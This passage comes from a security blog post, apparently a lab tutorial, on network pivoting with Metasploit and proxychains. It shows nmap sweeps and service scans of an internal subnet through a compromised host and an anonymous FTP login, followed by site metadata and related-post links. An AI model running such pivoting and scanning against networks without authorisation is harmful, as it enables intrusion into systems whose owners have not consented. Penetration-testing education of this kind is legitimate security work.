https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-9.png?resize=1536%2C910&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-9.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Ubuntu &#8211; Second machine<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Now we can check if we can reach with proxychains the new network with NMAP doing &#8220;Pivoting&#8221;. Let\u2019s try if we can identify new hosts:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>proxychains nmap -sP --min-rate=2000 192.168.141.0\/24\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will discover one new host:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"385\" data-attachment-id=\"3597\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/image-10-7\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-10.png?fit=1554%2C748&amp;ssl=1\" data-orig-size=\"1554,748\" data-comments-opened=\"1\" data-image-title=\"image-10\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-10.png?fit=800%2C385&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-10.png?resize=800%2C385&#038;ssl=1\" alt=\"\" class=\"wp-image-3597\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-10.png?w=1554&amp;ssl=1 1554w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-10.png?resize=300%2C144&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-10.png?resize=768%2C370&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-10.png?resize=1536%2C739&amp;ssl=1 1536w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now we can perform more enumeration over this new objective:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>proxychains nmap -n -Pn -sV 192.168.141.4\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will see that the server is running these services:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PORT    STATE SERVICE    VERSION\n21\/tcp  open  ftp        vsftpd 3.0.2\n22\/tcp  open  ssh        OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)\n80\/tcp  open  tcpwrapped\n111\/tcp open  rpcbind    2-4 (RPC #100000)\nService Info: OSs: Unix, Linux; CPE: cpe:\/o:linux:linux_kernel\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s deep dive into each port to see if we can discover any vulnerability or default configuration. To start we will start analyzing the Port 21 vSFTPd 3.0.2:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>proxychains nmap -n -Pn -sVC -p 21 192.168.141.4\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">While is executing our scan we can try to reach the port manually:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>proxychains ftp 192.168.141.4\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If we try to log in with \u201canonymous\u201d user we will see that we can use it:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"306\" data-attachment-id=\"3598\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/image-11-7\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-11.png?fit=1598%2C611&amp;ssl=1\" data-orig-size=\"1598,611\" data-comments-opened=\"1\" data-image-title=\"image-11\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-11.png?fit=800%2C306&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-11.png?resize=800%2C306&#038;ssl=1\" alt=\"\" class=\"wp-image-3598\" style=\"width:840px;height:auto\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-11.png?w=1598&amp;ssl=1 1598w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-11.png?resize=300%2C115&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-11.png?resize=768%2C294&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-11.png?resize=1536%2C587&amp;ssl=1 1536w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In the end this is the method to do if we want to perform pivoting using Metasploit and proxychains.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Video<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Video of the post in Spanish version:<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<span class=\"embed-youtube\" style=\"text-align:center; display: block;\"><iframe class=\"youtube-player\" title=\"YouTube video player\" width=\"800\" height=\"450\" src=\"https:\/\/www.youtube.com\/embed\/7oyrB60ZA54?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=es-ES&#038;autohide=2&#038;wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\"><\/iframe><\/span>\n<\/div><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">\ud83d\udd12 <a href=\"https:\/\/hardsoftsecurity.es\/\">Hardsoft Security<\/a> offers cybersecurity consulting services, ensuring that your business is always protected against the latest threats. And if you&#8217;re looking for hosting that puts security first, <a href=\"https:\/\/securehosting.es\/\">Secure Hosting<\/a> is your ideal solution. We help keep your website safe with the best cybersecurity practices through our specialized cybersecurity advice.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Don&#8217;t wait to be the next target. Secure your online presence with the best solutions and services on the market. Contact <a href=\"https:\/\/hardsoftsecurity.es\/index.php\/contacta-con-nosotros-2\/\">Hardsoft Security<\/a> and <a href=\"https:\/\/securehosting.es\/1251-2\/\">Secure Hosting <\/a>today!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">(Cybersecurity is not a luxury, but a necessity. Protect your investment and your online reputation.)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pivoting with Metasploit and proxy chains is a sophisticated technique used by penetration testers to navigate through a network by leveraging a compromised system. This post will introduce the art &#8230;<\/p>\n","protected":false},"author":1,"featured_media":3585,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"\ud83d\udd13 Elevate your cybersecurity game with our latest guide on network pivoting using Metasploit & proxychains. Get savvy, stay secure! \ud83d\udcbb\ud83d\udee1\ufe0f #EthicalHacking #Cybersecurity #TechTips","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[3,7],"tags":[487,489,362,482,480,486,35,490,485,492,483,481,488,484,491],"class_list":["post-3581","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-guias","category-seguridad-informatica","tag-autoroute-module","tag-cyber-tactics","tag-cybersecurity","tag-digital-security","tag-ethical-hacking","tag-it-security-techniques","tag-metasploit","tag-network-exploration","tag-network-pivoting","tag-network-security","tag-penetration-testing","tag-proxy-chains","tag-secure-networking","tag-security-assessment","tag-socks_proxy-module"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>PIVOTING with METASPLOIT? - Hardsoft Security<\/title>\n<meta name=\"description\" content=\"Dive into ethical hacking with our guide on network pivoting using Metasploit and proxychains, essential for advanced cybersecurity tactics.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"PIVOTING with METASPLOIT? - Hardsoft Security\" \/>\n<meta property=\"og:description\" content=\"Dive into ethical hacking with our guide on network pivoting using Metasploit and proxychains, essential for advanced cybersecurity tactics.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/\" \/>\n<meta property=\"og:site_name\" content=\"Hardsoft Security\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/HardSoftDavid\" \/>\n<meta property=\"article:published_time\" content=\"2023-11-15T07:30:00+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=800%2C457&ssl=1\" \/>\n\t<meta property=\"og:image:width\" content=\"800\" \/>\n\t<meta property=\"og:image:height\" content=\"457\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"david\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:site\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"david\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/15\\\/pivoting-with-metasploit\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/15\\\/pivoting-with-metasploit\\\/\"},\"author\":{\"name\":\"david\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"headline\":\"PIVOTING with METASPLOIT?\",\"datePublished\":\"2023-11-15T07:30:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/15\\\/pivoting-with-metasploit\\\/\"},\"wordCount\":836,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/15\\\/pivoting-with-metasploit\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/11\\\/image.png?fit=1792%2C1024&ssl=1\",\"keywords\":[\"autoroute module\",\"cyber tactics\",\"Cybersecurity\",\"digital security\",\"ethical hacking\",\"IT security techniques\",\"metasploit\",\"network exploration\",\"network pivoting\",\"network security\",\"penetration testing\",\"proxy chains\",\"secure networking\",\"security assessment\",\"socks_proxy module\"],\"articleSection\":[\"Gu\u00edas\",\"Seguridad inform\u00e1tica\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/15\\\/pivoting-with-metasploit\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/15\\\/pivoting-with-metasploit\\\/\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/15\\\/pivoting-with-metasploit\\\/\",\"name\":\"PIVOTING with METASPLOIT? - Hardsoft Security\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/15\\\/pivoting-with-metasploit\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/15\\\/pivoting-with-metasploit\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/11\\\/image.png?fit=1792%2C1024&ssl=1\",\"datePublished\":\"2023-11-15T07:30:00+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"description\":\"Dive into ethical hacking with our guide on network pivoting using Metasploit and proxychains, essential for advanced cybersecurity tactics.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/15\\\/pivoting-with-metasploit\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/15\\\/pivoting-with-metasploit\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/15\\\/pivoting-with-metasploit\\\/#primaryimage\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/11\\\/image.png?fit=1792%2C1024&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/11\\\/image.png?fit=1792%2C1024&ssl=1\",\"width\":1792,\"height\":1024},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/15\\\/pivoting-with-metasploit\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"PIVOTING with METASPLOIT?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\",\"name\":\"Hardsoft Security\",\"description\":\"Chasing (In)Security\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hardsoftsecurity.es\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\",\"name\":\"david\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"caption\":\"david\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"PIVOTING with METASPLOIT? - Hardsoft Security","description":"Dive into ethical hacking with our guide on network pivoting using Metasploit and proxychains, essential for advanced cybersecurity tactics.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/","og_locale":"es_ES","og_type":"article","og_title":"PIVOTING with METASPLOIT? - Hardsoft Security","og_description":"Dive into ethical hacking with our guide on network pivoting using Metasploit and proxychains, essential for advanced cybersecurity tactics.","og_url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/","og_site_name":"Hardsoft Security","article_publisher":"https:\/\/www.facebook.com\/HardSoftDavid","article_published_time":"2023-11-15T07:30:00+00:00","og_image":[{"url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=800%2C457&ssl=1","width":800,"height":457,"type":"image\/png"}],"author":"david","twitter_card":"summary_large_image","twitter_creator":"@DavidDeMaya","twitter_site":"@DavidDeMaya","twitter_misc":{"Escrito por":"david","Tiempo de lectura":"7 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/#article","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/"},"author":{"name":"david","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"headline":"PIVOTING with METASPLOIT?","datePublished":"2023-11-15T07:30:00+00:00","mainEntityOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/"},"wordCount":836,"commentCount":0,"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1792%2C1024&ssl=1","keywords":["autoroute module","cyber tactics","Cybersecurity","digital security","ethical hacking","IT security techniques","metasploit","network exploration","network pivoting","network security","penetration testing","proxy chains","secure networking","security assessment","socks_proxy module"],"articleSection":["Gu\u00edas","Seguridad inform\u00e1tica"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/","url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/","name":"PIVOTING with METASPLOIT? - Hardsoft Security","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/#primaryimage"},"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1792%2C1024&ssl=1","datePublished":"2023-11-15T07:30:00+00:00","author":{"@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"description":"Dive into ethical hacking with our guide on network pivoting using Metasploit and proxychains, essential for advanced cybersecurity tactics.","breadcrumb":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/#primaryimage","url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1792%2C1024&ssl=1","contentUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1792%2C1024&ssl=1","width":1792,"height":1024},{"@type":"BreadcrumbList","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/hardsoftsecurity.es\/"},{"@type":"ListItem","position":2,"name":"PIVOTING with METASPLOIT?"}]},{"@type":"WebSite","@id":"https:\/\/hardsoftsecurity.es\/#website","url":"https:\/\/hardsoftsecurity.es\/","name":"Hardsoft Security","description":"Chasing (In)Security","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hardsoftsecurity.es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a","name":"david","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","caption":"david"}}]}},"jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p7xGFx-VL","jetpack-related-posts":[{"id":1717,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2018\/09\/18\/que-es-metasploit-framework\/","url_meta":{"origin":3581,"position":0},"title":"\u00bfQu\u00e9 es Metasploit Framework?","author":"david","date":"septiembre 18, 2018","format":false,"excerpt":"Hola a tod@s, hoy os traigo Metasploit Framework, donde conoceremos la descripci\u00f3n de metasploit, donde describiremos que es Metasploit, definiciones de Metasploit y comandos b\u00e1sicos. Comenzamos por saber que es Metasploit Framework: Metasploit Framework, es una de las herramientas m\u00e1s utilizadas por los auditores de seguridad. Incluye una gran colecci\u00f3n\u2026","rel":"","context":"En \u00abSeguridad inform\u00e1tica\u00bb","block_context":{"text":"Seguridad inform\u00e1tica","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/seguridad-informatica\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2015\/02\/metasploit.png?fit=469%2C309&ssl=1&resize=350%2C200","width":350,"height":200},"classes":[]},{"id":1085,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2016\/12\/22\/hacking-basico-leccion-4-backdoor-persistente-con-metasploit-y-shellter\/","url_meta":{"origin":3581,"position":1},"title":"Backdoor persistente Metasploit &#8211; Hacking B\u00e1sico Lecci\u00f3n #4","author":"david","date":"diciembre 22, 2016","format":false,"excerpt":"Hola a todos hoy vengo a presentar la cuarta lecci\u00f3n de una serie de v\u00eddeos relacionados con el Hacking B\u00e1sico y fundamental, en este peque\u00f1o v\u00eddeo muestro como crear un backdoor en un exe, con metasploit y shellter. Aqu\u00ed adjunto el segundo v\u00eddeo: Hacking B\u00e1sico Lecci\u00f3n 4. Backdoor persistente con\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2016\/03\/back_door_open_300x200.png?resize=350%2C200","width":350,"height":200},"classes":[]},{"id":996,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2016\/08\/07\/pentesting-con-kali-linux-metasploit-vm\/","url_meta":{"origin":3581,"position":2},"title":"Pentesting con Kali Linux. Metasploit VM.","author":"david","date":"agosto 7, 2016","format":false,"excerpt":"Hola a todos hoy os traigo otro v\u00eddeo, donde ense\u00f1o las bases de un pentesting, recogida de informaci\u00f3n, an\u00e1lisis de la informaci\u00f3n y explotaci\u00f3n, llegando al premio gordo (backdoor), despu\u00e9s de unas cuantas semanas llego con este v\u00eddeo sobre seguridad inform\u00e1tica, espero que os guste. Pentesting con Kali Linux. Metasploit\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2016\/08\/czltsxu4rfefo2sprcsk_pentesting.jpg?fit=480%2C270&ssl=1&resize=350%2C200","width":350,"height":200},"classes":[]},{"id":1755,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2018\/11\/23\/ataque-dirigido-a-windows-beef-setoolkit-metasploit-y-bypass-uac\/","url_meta":{"origin":3581,"position":3},"title":"Ataque dirigido a Windows. Beef, setoolkit, metasploit y Bypass UAC.","author":"david","date":"noviembre 23, 2018","format":false,"excerpt":"Hola a tod@s, hoy os traigo un v\u00eddeo donde vamos a realizar un ataque de ingenier\u00eda social con la herramienta beef, mediante el secuestro del navegador de la v\u00edctima, as\u00ed simular una actualizaci\u00f3n falsa, para incitar a la v\u00edctima a descargar nuestro payload, una vez dentro del sistema de la\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/11\/b2ap3_large_vulnarability.png?fit=922%2C417&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/11\/b2ap3_large_vulnarability.png?fit=922%2C417&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/11\/b2ap3_large_vulnarability.png?fit=922%2C417&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/11\/b2ap3_large_vulnarability.png?fit=922%2C417&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":509,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2015\/07\/07\/analisis-de-vulnerabilidades-recogida-de-informacion-parte-1\/","url_meta":{"origin":3581,"position":4},"title":"An\u00e1lisis de vulnerabilidades, recogida de informaci\u00f3n. Parte 1.","author":"david","date":"julio 7, 2015","format":false,"excerpt":"Para esta pr\u00e1ctica de seguridad inform\u00e1tica m\u00e1s dirigida al pentesting, se necesitar\u00e1n ciertas herramientas de escaneo de vulnerabilidades y explotaci\u00f3n de las mismas. La siguiente pr\u00e1ctica consiste en utilizar ciertas herramientas de escaneo y explotaci\u00f3n de vulnerabilidades, utiliz\u00e1ndolas contra un servidor Linux,espec\u00edficamente el servidor que nos proporciona metaploitable, para saber\u2026","rel":"","context":"En \u00abSeguridad inform\u00e1tica\u00bb","block_context":{"text":"Seguridad inform\u00e1tica","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/seguridad-informatica\/"},"img":{"alt_text":"cyber-security","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2015\/01\/cyber-security-e1436271547505.jpg?resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2015\/01\/cyber-security-e1436271547505.jpg?resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2015\/01\/cyber-security-e1436271547505.jpg?resize=525%2C300 1.5x, 